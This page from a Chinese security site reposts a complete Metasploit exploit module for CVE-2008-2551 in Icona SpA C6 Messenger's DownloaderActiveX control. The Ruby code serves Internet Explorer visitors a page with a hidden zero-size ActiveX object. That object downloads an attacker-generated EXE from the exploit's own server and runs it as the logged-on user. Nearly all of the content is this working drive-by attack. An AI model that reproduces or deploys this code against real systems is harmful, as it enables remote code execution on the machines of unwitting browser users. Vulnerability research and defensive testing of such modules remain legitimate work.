首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Exe
来源:http://www.metasploit.com 作者:vazquez 发布时间:2012-02-03  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking
 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
   'Description'    => %q{
     This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
    vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
    insecure control can be abused to download and execute arbitrary files in the context of
    the currently logged-on user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit
     'juan vazquez' # metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2008-2551' ],
     [ 'OSVDB', '45960' ],
     [ 'BID', '29519' ],
     [ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ],
    ],
   'DefaultOptions' =>
    {
     'ExitFunction'         => "none",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Jun 03 2008',
   'DefaultTarget'  => 0,
   'Privileged'     => false))
 end
 def autofilter
  false
 end
 def check_dependencies
  use_zlib
 end
 def on_request_uri(cli, request)
  # Only IEs are potential targets
  # "File Session" is used when the ActiveX tries to request the EXE
  agent = request.headers['User-Agent']
  if agent !~ /MSIE \d\.\d|File Session/
   print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")
   return
  end
  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}"
  if (request.uri.match(/#{@payload_rand}/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end
  exe = rand_text_alpha(rand(5) + 1 )
  content = %Q|
  <html>
   <object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">
    <param name="propProgressBackground"  value="#bccee8">
    <param name="propTextBackground"  value="#f7f8fc">
    <param name="propBarColor"  value="#df0203">
    <param name="propTextColor"  value="#000000">
    <param name="propWidth"  value="0">
    <param name="propHeight"  value="0">
    <param name="propDownloadUrl"  value="#{payload_url}/#{exe}.exe">
    <param name="propPostDownloadAction"  value="run">
    <param name="propInstallCompleteUrl"  value="">
    <param name="propBrowserRedirectUrl"  value="">
    <param name="propVerbose"  value="0">
    <param name="propInterrupt"  value="0">
   </OBJECT>
  </html>
  |
  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, content)
  handler(cli)
 end
 def exploit
  @payload_rand = rand_text_alpha(rand(5) + 5 )
  super
 end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sunway Forcecontrol SNMP NetDB
·OfficeSIP Server 3.1 Denial Of
·windows xp sp2 [ arabic] mech
·NetSarang Xlpd Printer Daemon
·Wireshark 1.4.4 Local Stack Bu
·frontpage_express2.02 Denial o
·Wireshark 1.4.4 Remote Stack B
·Mindjet MindManager 2012 10.0.
·torrent-stats httpd.c Denial o
·Apache httpOnly Cookie Disclos
·HP 5.4SVN-2012-02-03 htmlspeci
·EdrawSoft Office Viewer Compon
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved